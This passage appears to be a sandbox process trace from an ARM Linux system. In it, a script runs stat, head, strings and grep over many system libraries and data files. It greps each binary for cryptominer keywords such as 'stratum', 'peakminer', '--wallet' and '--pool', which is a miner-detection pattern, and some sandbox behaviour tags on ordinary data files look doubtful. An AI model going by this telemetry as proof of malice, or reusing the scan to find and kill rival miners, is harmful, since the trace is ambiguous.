  head -c 4 /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/CN/CN.so
  2⤵
  PID:1127
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1131
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1130
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/CN/CN.so
  2⤵
  PID:1129
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/JP/JP.so
  2⤵
  PID:1133
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/JP/JP.so
  2⤵
  PID:1135
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1137
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/JP/JP.so
  2⤵
  PID:1136
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1139
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/JP/JP.so
  2⤵
  PID:1138
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1140
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/KR/KR.so
  2⤵
  PID:1144
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/KR/KR.so
  2⤵
  PID:1146
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1148
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/KR/KR.so
  2⤵
  PID:1147
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1150
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/KR/KR.so
  2⤵
  PID:1149
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1151
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/TW/TW.so
  2⤵
  PID:1156
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/TW/TW.so
  2⤵
  PID:1158
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/TW/TW.so
  2⤵
  PID:1159
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1160
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1163
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1162
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Encode/TW/TW.so
  2⤵
  PID:1161
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Unicode/Collate/Collate.so
  2⤵
  PID:1165
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Unicode/Collate/Collate.so
  2⤵
  PID:1167
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1169
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Unicode/Collate/Collate.so
  2⤵
  PID:1168
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/perl/5.24.1/auto/Unicode/Collate/Collate.so
  2⤵
  PID:1170
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1171
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1172
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libcairo.so.2.11400.8
  2⤵
  PID:1174
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libcairo.so.2.11400.8
  2⤵
  PID:1176
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1178
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libcairo.so.2.11400.8
  2⤵
  PID:1177
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libcairo.so.2.11400.8
  2⤵
  PID:1179
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1180
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1181
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libsqlite3.so.0.8.6
  2⤵
  PID:1183
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libsqlite3.so.0.8.6
  2⤵
  PID:1185
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1187
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libsqlite3.so.0.8.6
  2⤵
  PID:1186
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1190
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libsqlite3.so.0.8.6
  2⤵
  PID:1188
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1189
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libasan.so.3.0.0
  2⤵
  PID:1192
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libasan.so.3.0.0
  2⤵
  PID:1194
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libasan.so.3.0.0
  2⤵
  PID:1195
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1196
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libasan.so.3.0.0
  2⤵
  PID:1197
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1198
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1199
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libicuuc.so.57.1
  2⤵
  PID:1201
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libicuuc.so.57.1
  2⤵
  PID:1203
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1205
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libicuuc.so.57.1
  2⤵
  PID:1204
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1207
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libicuuc.so.57.1
  2⤵
  PID:1206
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1208
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libgnutls.so.30.13.1
  2⤵
  PID:1210
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libgnutls.so.30.13.1
  2⤵
  PID:1212
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1214
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libgnutls.so.30.13.1
  2⤵
  PID:1213
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libgnutls.so.30.13.1
  2⤵
  PID:1215
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1217
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1216
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libxapian.so.30.3.0
  2⤵
  - Reads runtime system information
  PID:1219
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libxapian.so.30.3.0
  2⤵
  PID:1221
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1223
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libxapian.so.30.3.0
  2⤵
  PID:1222
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1225
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libxapian.so.30.3.0
  2⤵
  PID:1224
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1226
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libxml2.so.2.9.4
  2⤵
  PID:1228
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libxml2.so.2.9.4
  2⤵
  PID:1230
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1232
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libxml2.so.2.9.4
  2⤵
  PID:1231
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1234
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libxml2.so.2.9.4
  2⤵
  PID:1233
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1235
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libMagickWand-6.Q16.so.3.0.0
  2⤵
  PID:1237
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libMagickWand-6.Q16.so.3.0.0
  2⤵
  PID:1239
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libMagickWand-6.Q16.so.3.0.0
  2⤵
  PID:1240
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1241
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1243
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1244
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libMagickWand-6.Q16.so.3.0.0
  2⤵
  PID:1242
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libdb-5.3.so
  2⤵
  PID:1246
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libdb-5.3.so
  2⤵
  PID:1248
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1250
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libdb-5.3.so
  2⤵
  PID:1249
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1253
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1252
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libdb-5.3.so
  2⤵
  PID:1251
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libcrypto.a
  2⤵
  PID:1255
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libcrypto.a
  2⤵
  PID:1257
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libcrypto.a
  2⤵
  PID:1258
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1259
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libisl.so.15.3.0
  2⤵
  PID:1261
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libisl.so.15.3.0
  2⤵
  PID:1263
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1265
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libisl.so.15.3.0
  2⤵
  PID:1264
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1267
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1268
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libisl.so.15.3.0
  2⤵
  PID:1266
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libmariadbclient.so.18.0.0
  2⤵
  PID:1270
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libmariadbclient.so.18.0.0
  2⤵
  PID:1272
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libmariadbclient.so.18.0.0
  2⤵
  PID:1273
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1274
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1277
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libmariadbclient.so.18.0.0
  2⤵
  PID:1275
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1276
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libkrb5.so.3.3
  2⤵
  PID:1279
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libkrb5.so.3.3
  2⤵
  PID:1281
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libkrb5.so.3.3
  2⤵
  PID:1282
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1283
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1285
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1286
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libkrb5.so.3.3
  2⤵
  PID:1284
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libgs.so.9.26
  2⤵
  - Reads runtime system information
  PID:1288
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libgs.so.9.26
  2⤵
  PID:1290
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libgs.so.9.26
  2⤵
  PID:1291
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1292
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1294
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libgs.so.9.26
  2⤵
  PID:1293
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1295
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libdjvulibre.so.21.6.0
  2⤵
  PID:1297
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libdjvulibre.so.21.6.0
  2⤵
  PID:1299
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1301
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libdjvulibre.so.21.6.0
  2⤵
  PID:1300
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1304
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libdjvulibre.so.21.6.0
  2⤵
  PID:1302
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1303
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libcrypto.so.1.1
  2⤵
  PID:1306
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libcrypto.so.1.1
  2⤵
  PID:1308
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1310
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libcrypto.so.1.1
  2⤵
  PID:1309
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1312
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1313
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libcrypto.so.1.1
  2⤵
  PID:1311
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libX11.so.6.3.0
  2⤵
  PID:1315
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libX11.so.6.3.0
  2⤵
  PID:1317
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libX11.so.6.3.0
  2⤵
  PID:1318
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1319
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1322
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libX11.so.6.3.0
  2⤵
  PID:1320
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1321
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libapt-pkg.so.5.0.1
  2⤵
  PID:1324
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libapt-pkg.so.5.0.1
  2⤵
  PID:1326
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1328
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libapt-pkg.so.5.0.1
  2⤵
  PID:1327
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1330
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1331
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libapt-pkg.so.5.0.1
  2⤵
  PID:1329
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libsamplerate.so.0.1.8
  2⤵
  PID:1333
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libsamplerate.so.0.1.8
  2⤵
  PID:1335
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libsamplerate.so.0.1.8
  2⤵
  PID:1336
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1337
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libsamplerate.so.0.1.8
  2⤵
  PID:1338
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1339
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1340
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libasound.so.2.0.0
  2⤵
  PID:1342
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libasound.so.2.0.0
  2⤵
  PID:1344
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libasound.so.2.0.0
  2⤵
  PID:1345
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1346
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1348
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1349
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libasound.so.2.0.0
  2⤵
  PID:1347
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libicui18n.so.57.1
  2⤵
  PID:1351
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libicui18n.so.57.1
  2⤵
  PID:1353
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1355
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libicui18n.so.57.1
  2⤵
  PID:1354
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1358
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libicui18n.so.57.1
  2⤵
  PID:1356
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1357
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libm.a
  2⤵
  PID:1360
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libm.a
  2⤵
  PID:1362
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1364
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libm.a
  2⤵
  PID:1363
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libicudata.so.57.1
  2⤵
  PID:1366
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libicudata.so.57.1
  2⤵
  PID:1368
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libicudata.so.57.1
  2⤵
  PID:1369
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1370
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libicudata.so.57.1
  2⤵
  PID:1371
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1373
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1372
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libpython2.7.so.1.0
  2⤵
  - Reads runtime system information
  PID:1375
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libpython2.7.so.1.0
  2⤵
  PID:1377
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1379
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libpython2.7.so.1.0
  2⤵
  PID:1378
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1381
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libpython2.7.so.1.0
  2⤵
  PID:1380
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1382
- /usr/bin/stat
  stat "-c%s" /usr/lib/arm-linux-gnueabihf/libbfd-2.28-system.so
  2⤵
  PID:1384
- /usr/bin/basename
  basename /usr/lib/arm-linux-gnueabihf/libbfd-2.28-system.so
  2⤵
  PID:1386
- /usr/bin/head
  head -c 4 /usr/lib/arm-linux-gnueabihf/libbfd-2.28-system.so
  2⤵
  PID:1387
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1388
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1390
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1391
- /usr/bin/strings
  strings /usr/lib/arm-linux-gnueabihf/libbfd-2.28-system.so
  2⤵
  PID:1389
- /usr/bin/stat
  stat "-c%s" /usr/lib/node_modules/corepack/dist/corepack.js
  2⤵
  PID:1393
- /usr/bin/basename
  basename /usr/lib/node_modules/corepack/dist/corepack.js
  2⤵
  PID:1395
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1397
- /usr/bin/head
  head -c 4 /usr/lib/node_modules/corepack/dist/corepack.js
  2⤵
  PID:1396
- /usr/bin/stat
  stat "-c%s" /usr/lib/locale/C.UTF-8/LC_COLLATE
  2⤵
  PID:1399
- /usr/bin/basename
  basename /usr/lib/locale/C.UTF-8/LC_COLLATE
  2⤵
  PID:1401
- /usr/bin/head
  head -c 4 /usr/lib/locale/C.UTF-8/LC_COLLATE
  2⤵
  PID:1402
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1403
- /usr/bin/stat
  stat "-c%s" /usr/lib/locale/locale-archive
  2⤵
  PID:1405
- /usr/bin/basename
  basename /usr/lib/locale/locale-archive
  2⤵
  PID:1407
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1409
- /usr/bin/head
  head -c 4 /usr/lib/locale/locale-archive
  2⤵
  PID:1408
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/numpy/core/multiarray.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1411
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/numpy/core/multiarray.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1413
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1415
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/numpy/core/multiarray.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1414
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1417
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1418
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/numpy/core/multiarray.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1416
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/numpy/random/mtrand.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1420
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/numpy/random/mtrand.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1422
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1424
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/numpy/random/mtrand.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1423
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1426
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/numpy/random/mtrand.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1425
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1427
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs09.dat
  2⤵
  - System Network Configuration Discovery
  PID:1429
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs09.dat
  2⤵
  - System Network Configuration Discovery
  PID:1431
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs09.dat
  2⤵
  - System Network Configuration Discovery
  PID:1432
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1433
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs06.dat
  2⤵
  - System Network Configuration Discovery
  PID:1435
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs06.dat
  2⤵
  - System Network Configuration Discovery
  PID:1437
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1440
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs06.dat
  2⤵
  - System Network Configuration Discovery
  PID:1439
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/special/tests/data/boost.npz
  2⤵
  - System Network Configuration Discovery
  PID:1442
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/special/tests/data/boost.npz
  2⤵
  - System Network Configuration Discovery
  PID:1444
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/special/tests/data/boost.npz
  2⤵
  - System Network Configuration Discovery
  PID:1445
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1446
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/special/_ufuncs.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1449
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/special/_ufuncs.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1451
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/special/_ufuncs.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1452
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1453
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1455
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1456
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/special/_ufuncs.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1454
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/spatial/qhull.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1458
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/spatial/qhull.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1460
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/spatial/qhull.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1461
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1462
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1464
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1465
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/spatial/qhull.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1463
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/sparse/_sparsetools.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1467
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/sparse/_sparsetools.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1469
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1471
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/sparse/_sparsetools.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1470
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1473
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/sparse/_sparsetools.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1472
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1474
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/misc/ascent.dat
  2⤵
  - System Network Configuration Discovery
  PID:1476
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/misc/ascent.dat
  2⤵
  - System Network Configuration Discovery
  PID:1478
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1480
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/misc/ascent.dat
  2⤵
  - System Network Configuration Discovery
  PID:1479
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/misc/face.dat
  2⤵
  - System Network Configuration Discovery
  PID:1482
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/misc/face.dat
  2⤵
